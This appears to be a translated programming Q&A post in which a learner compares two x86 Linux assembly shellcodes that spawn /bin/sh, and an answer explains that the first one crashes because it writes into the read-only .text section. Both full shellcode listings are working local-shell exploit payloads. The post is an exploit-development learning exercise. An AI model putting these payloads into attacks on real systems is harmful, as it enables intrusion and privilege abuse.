为什么汇编shellcode的两个变体不能以相同的方式工作?

时间:2011-11-14 02:53:37

标签: linux assembly gdb shellcode

我最近读过Aleph One砸碎堆栈以获取乐趣和利润,并一直在关注“The Shellcoder的Hanbook”。我正在使用以下汇编代码:

section .text
    global _start

_start:
    jmp short GotoCall

shellcode:
    pop ebx
    xor eax, eax
    mov [ebx + 7], al
    mov [ebx + 8], ebx
    mov [ebx + 12], eax
    mov al, 0x0b
    lea ecx, [ebx + 8]
    lea edx, [ebx + 12]
    int 80h

    xor eax, eax
    mov al, 0x01
    int 80h

GotoCall:
    Call shellcode
    db '/bin/shJAAAAKKKK'

当我使用GDB时,每次尝试写入时都会出现seg错误:

mov [ebx + 7], al

然而,当我运行这个时,我可以弹出没有segfaulting的root shell:

section .text
    global _start

_start:
    xor eax, eax
    push eax
    push 0x68732f2f
    push 0x6e69622f
    mov  ebx, esp
    push eax
    push ebx
    mov  ecx, esp
    xor  edx,edx
    mov  al, 0xb
    int  80h

基本上他们正在做同样的事情(是的,我知道他们不是真的,但我试图在两者中弹出一个root shell)。我正在OpenSuse11.4上运行,并且我已经关闭了堆栈随机化(ASLR)以用于学习目的。有什么想法吗?

1 个答案:

答案 0 :(得分:4)

您已将db '/bin/shJAAAAKKKK'字符串放入.text部分,该部分通常不可写。

如果你将它放入.data,崩溃就会消失,但你必须以其他方式获取字符串的地址:它将不再紧跟CALL GotoCall